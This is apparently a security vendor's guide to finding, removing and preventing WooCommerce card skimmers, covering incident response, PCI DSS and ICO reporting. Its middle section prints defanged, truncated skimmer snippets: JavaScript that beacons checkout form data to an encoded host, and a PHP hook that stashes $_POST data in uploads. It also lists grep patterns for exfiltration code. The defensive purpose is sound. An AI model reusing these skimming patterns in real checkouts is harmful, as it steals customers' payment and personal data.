Key takeaways
- A card skimmer is malicious code on your checkout that copies payment and personal details to an attacker.
- Skimmers can run in the browser (JavaScript) or on the server (PHP), and are built to look like legitimate scripts.
- Hosted payment fields reduce the risk but do not remove it: attackers inject fake payment forms instead.
- Suspected skimming is an incident, not just a clean-up: preserve evidence, contain, then assess your notification duties.
- Monitoring the scripts that run on your checkout is the best way to catch a skimmer early.
What is a WooCommerce card skimmer?
A WooCommerce card skimmer is malicious code injected into your shop that captures what customers type at checkout, such as card numbers, expiry dates, security codes, names and addresses, and sends it to an attacker. The order usually completes normally, so neither you nor the customer notices anything until fraud reports start arriving.
These attacks are widely referred to as Magecart or formjacking. They are not unique to WooCommerce, but WooCommerce shops are attractive targets because they combine payment pages with the same plugin, theme and credential weaknesses as any other WordPress site. The attacker does not need to breach your payment provider; they only need to change what runs on your checkout page.
Because skimming involves customer payment and personal data, a suspected skimmer is a security incident with possible legal obligations, not just a malware clean-up. If you think one is active right now, go to our emergency help page.
What are the signs of checkout malware?
The most reliable signs are external: customers or your payment provider reporting fraud on cards used in your shop, and unfamiliar scripts or network requests on the checkout page. On the site itself, look for changed payment fields, an extra payment form, or code in files and database entries that references the checkout.
- Your payment provider, acquirer or bank tells you your shop may be a common point of purchase for fraud.
- Customers report fraudulent transactions shortly after ordering from you.
- The checkout shows card fields in a slightly different style, or asks for card details twice.
- Orders appear with "payment failed" and the customer immediately retries successfully.
- Your browser's developer tools show the checkout sending data to a domain you do not recognise.
- New or modified files appear in plugin, theme or upload folders around the time fraud started.
Tip: the "fails once, then succeeds" pattern is typical of a fake payment form. The attacker's form collects the card details and shows an error, then the genuine form appears and the order completes normally.
How do WooCommerce card skimmers work?
There are three main types. Browser-side skimmers are JavaScript that reads form fields and sends them to the attacker. Fake-form skimmers overlay their own card fields when your real ones are in a secure iframe. Server-side skimmers are PHP that copies submitted checkout data before WooCommerce processes it. Each needs a different search.
| Type | Where it runs | Where it hides |
|---|---|---|
| JavaScript skimmer | Customer's browser | Theme or plugin .js files, database options, widgets, tag managers |
| Fake payment form | Customer's browser | Injected scripts that build a lookalike card form on checkout |
| Server-side skimmer | Your server | functions.php, must-use plugins, modified plugin files, WooCommerce hooks |
The snippets below are illustrative, defanged and truncated. They show patterns to search for, not working code.
if(location.pathname.indexOf('checkout')>-1){document.addEventListener('submit',function(e){
var d=[].map.call(e.target.elements,function(x){return x.name+'='+x.value}).join('&');
navigator.sendBeacon(atob('aHh4cHM6Ly9...'), btoa(d)); ... [truncated]
},true)}
add_action( 'woocommerce_checkout_process', function () {
$p = base64_encode( json_encode( $_POST ) );
/* ... appends $p to a fake image file in uploads ... [truncated] */
} );
Attackers choose names that sound legitimate, such as wc-session-helper, jquery-migrate-fix or google-analytics-min, and load exfiltration domains that resemble analytics or CDN services.
Security triage
Is your site showing any of this?
Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.
How do you detect a card skimmer on WooCommerce?
Start in the browser: load your checkout in a private window with developer tools open and list every script and outbound request. Then search the server for WooCommerce checkout hooks in unexpected places, encoded JavaScript, and scripts stored in the database. Compare plugin files against official checksums to spot modifications.
- Inventory checkout scripts. In the Network tab, filter by JS and by fetch or XHR. Every domain should be one you can name: your site, your payment provider, analytics you chose.
- Check tag managers. Review your tag manager container and any "custom HTML" widgets or header and footer script settings.
- Verify files. Check plugins, including WooCommerce itself, against official checksums.
- Search code and database. Look for checkout hooks outside WooCommerce and your payment plugin, and for encoded strings in options.
# Plugin files that differ from the official versions
wp plugin verify-checksums --all
# Checkout hooks in places they should not be
grep -rnE "woocommerce_checkout_(process|order_processed)|woocommerce_after_checkout" \
wp-content/themes wp-content/mu-plugins wp-content/uploads
# Exfiltration patterns in JavaScript
grep -rlE "sendBeacon|atob\(|btoa\(|new Image\(\)\.src" wp-content --include="*.js"
# Scripts stored in options and widgets
wp db search "sendBeacon|atob\(|checkout" --regex --all-tables --stats
Legitimate payment and analytics plugins will produce some matches. The question for each one is whether you can explain it. Our Forensic scan and Malware sweep run these checks across every site on your server.
How do you remove a WooCommerce card skimmer?
Treat removal as incident response. Preserve evidence first, take the checkout offline or switch to a hosted payment page, remove the skimmer from every location, fix the entry point and rotate credentials. Only reopen the checkout once you have verified that no unexpected scripts or hooks remain.
- Preserve evidence. Take a full copy of files, database and web server logs before changing anything. You will need them to work out the exposure window.
- Contain. Disable the checkout, or switch temporarily to a fully hosted payment page on your provider's domain.
- Remove the skimmer. Reinstall WooCommerce, payment plugins, other plugins and your theme from official sources. Remove injected code from the database, widgets and tag manager.
- Hunt persistence. Check for webshells, rogue administrators, must-use plugins and cron jobs that could re-inject the skimmer.
- Close the entry point and rotate credentials, including WordPress admins, hosting, database, SFTP and your payment provider API keys.
- Verify. Re-inventory the checkout scripts and requests, then place a test order.
- Establish the window. Use logs and file timestamps to work out when the skimmer was added, and so which orders may be affected.
Important: tell your payment provider promptly. They may need to investigate and can advise on card-scheme requirements. If personal data was likely exposed, you may also need to report to the ICO within 72 hours of becoming aware. Our guide to website hacks and UK GDPR breach reporting explains how to assess this.
How do you protect a WooCommerce checkout from skimmers?
Protect the checkout by limiting and monitoring what runs on it. Use hosted or iframe payment fields, keep the number of scripts on checkout pages to a minimum, add a Content Security Policy, monitor checkout pages for script changes, and harden WordPress so attackers cannot write files or add administrators in the first place.
PCI DSS v4.0 introduced specific requirements for payment pages, including keeping an inventory of the scripts that run on them (requirement 6.4.3) and detecting unauthorised changes (requirement 11.6.1). Your payment provider or acquirer can confirm which apply to your shop.
Content-Security-Policy-Report-Only: script-src 'self' https://js.payments.example;
connect-src 'self' https://api.payments.example; report-uri /csp-report
- Use hosted or iframe payment fields from your payment provider
- Remove unnecessary third-party scripts from checkout pages
- Deploy a Content Security Policy, testing in report-only mode first
- Enable two-factor authentication for every administrator and shop manager
- Disable the dashboard file editor with
DISALLOW_FILE_EDIT - Block PHP execution in the uploads folder
- Monitor checkout scripts and file changes continuously
The WordPress hardening checklist covers the rest. For a managed approach, our WooCommerce malware removal service and e-commerce security plans include forensic clean-up, checkout protection and 24/7 monitoring, with unlimited malware removal on every plan.
Frequently asked questions
Can a skimmer steal cards if I use Stripe or PayPal fields?
Hosted and iframe fields stop scripts on your page reading the real card inputs, which removes much of the risk. However, attackers can inject a fake card form that appears before or instead of the real one. You still need to monitor what runs on your checkout.
How do I know which customers were affected?
Work out when the skimmer was added and when it was removed, using file timestamps, database changes and web server logs. Orders placed on the checkout during that window are potentially affected. Your payment provider can help identify cards that were subsequently used fraudulently.
Do I have to report a card skimmer to the ICO?
If personal data was likely compromised and the breach is likely to result in a risk to people's rights and freedoms, UK GDPR requires you to report it to the ICO within 72 hours of becoming aware. Card and address data usually meets that bar. Take advice on your specific situation.
Will a WordPress security plugin detect a card skimmer?
Sometimes. Plugins scan files and some database content, but skimmers stored in tag managers, loaded from external domains or hidden in other sites on the same server can be missed. Checking the live checkout in a browser and scanning the whole server gives better coverage.
Should I keep the shop open while cleaning up?
Not with the affected checkout. Either disable checkout or switch to a fully hosted payment page on your provider's domain until the clean-up is verified. Browsing can often stay open, but taking payments through a compromised page puts more customers at risk.